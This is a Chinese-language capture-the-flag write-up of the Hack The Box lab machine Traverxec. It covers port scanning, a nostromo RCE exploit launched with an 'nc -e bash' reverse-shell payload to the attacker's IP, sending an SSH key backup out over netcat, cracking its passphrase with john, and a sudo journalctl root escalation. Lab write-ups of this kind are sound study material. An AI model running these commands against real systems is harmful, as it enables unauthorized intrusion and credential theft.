zoukankan      html  css  js  c++  java
  • HTB-靶机-Traverxec

    本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

    靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.165

    本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

    masscan -p1-65535 10.10.10.165 --rate=1000 -e tun0 > ports
    ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '
    ' ',' | sed 's/,$//')
    nmap -Pn -sV -sC -p$ports 10.10.10.165

    扫描出来版本nostromo 1.9.6存在RCE - 远程代码执行

    对应的exploit地址:https://www.exploit-db.com/exploits/47837
    wget下载链接:https://www.exploit-db.com/raw/47837
    
    metasploit利用模块
    https://www.rapid7.com/db/modules/exploit/multi/http/nostromo_code_exec/

    直接反弹shell

    python cve2019-16278.py 10.10.10.165 80 "nc -e bash 10.10.14.2 8833"
    nc -lvnp 8833

    升级为tty-shell

    拿到低权限后开始查看home,发现有一个用户david,尝试进去,发现没有权限,查看了目录权限,猜测能够有查看的权限,用信息搜集工具搞了一把,发现目标靶机运行的web服务所对于的目录配置文件/var/nostromo/conf  查看了里面的文件内容,发现.htpasswd 但是没啥用处,另外查看到有目录配置信息

    # HOMEDIRS [OPTIONAL]
    
    homedirs                /home
    homedirs_public         public_www
    
    最终发现有备份的私钥信息
    www-data@traverxec:/var/nostromo/conf$ ls -la /home/david/public_www
    total 16
    drwxr-xr-x 3 david david 4096 Oct 25  2019 .
    drwx--x--x 5 david david 4096 Oct 25  2019 ..
    -rw-r--r-- 1 david david  402 Oct 25  2019 index.html
    drwxr-xr-x 2 david david 4096 Oct 25  2019 protected-file-area
    < ls -la /home/david/public_www/protected-file-area/
    total 16
    drwxr-xr-x 2 david david 4096 Oct 25  2019 .
    drwxr-xr-x 3 david david 4096 Oct 25  2019 ..
    -rw-r--r-- 1 david david   45 Oct 25  2019 .htaccess
    -rw-r--r-- 1 david david 1915 Oct 25  2019 backup-ssh-identity-files.tgz

    使用nc的方式将此压缩包传到本地kali
    
    kali:nc -lvnp 9933 > backup.tgz
    靶机:nc 10.10.14.2 9933 < /home/david/public/protected-file-area/backup-ssh-identity-files.tgz

    查看私钥内容发现是加密的,得使用john进行离线密码破解

    /usr/share/john/ssh2john.py id_rsa > hash.txt
    john hash.txt --fork=4 -w=/usr/share/wordlists/rockyou.txt

    得到密码

    id_rsa:hunter

    给这个私钥权限400或者600然后使用ssh成功登录到目标靶机

    发现此目录下面有两个文件,其中一个文件是shell脚本,内容如下:

    david@traverxec:~/bin$ cat server-stats.sh
    #!/bin/bash
    
    cat /home/david/bin/server-stats.head
    echo "Load: `/usr/bin/uptime`"
    echo " "
    echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
    echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
    echo " "
    echo "Last 5 journal log lines:"
    /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat

    看了上述代码可用通过journalctl进行提权,具体可参考:

    https://gtfobins.github.io/gtfobins/less/
    https://gtfobins.github.io/gtfobins/journalctl/
    最终提权成功,不过这里需要注意一下,要保证当前连接的shell是tty-shell,简单点理解就是要保证当前终端能出现屏幕卡住,出现end,不然提权不了,这里有以下几种办法
    1.使用python生成一个tty-shell
    python -c 'import pty;pty.spawn("/bin/bash")'
    2.在kali的图形界面上登录连接目标靶机
    3.执行脚本前先执行stty rows 4
    
    限制shell绕过技术
    https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/

    或者

    迷茫的人生,需要不断努力,才能看清远方模糊的志向!
  • 相关阅读:
    绘图QPainter-画刷
    绘图QPainter-画笔
    pyqt5-多线程QThread类
    升级时出现错误的解决办法
    打包pyinstaller
    多文档界面QMdiArea
    停靠窗口QDockWidget
    堆叠窗口QStackedWidget
    VC运行库版本不同导致链接.LIB静态库时发生重复定义问题的一个案例分析和总结
    【一】ODB
  • 原文地址:https://www.cnblogs.com/autopwn/p/14708660.html
Copyright © 2011-2022 走看看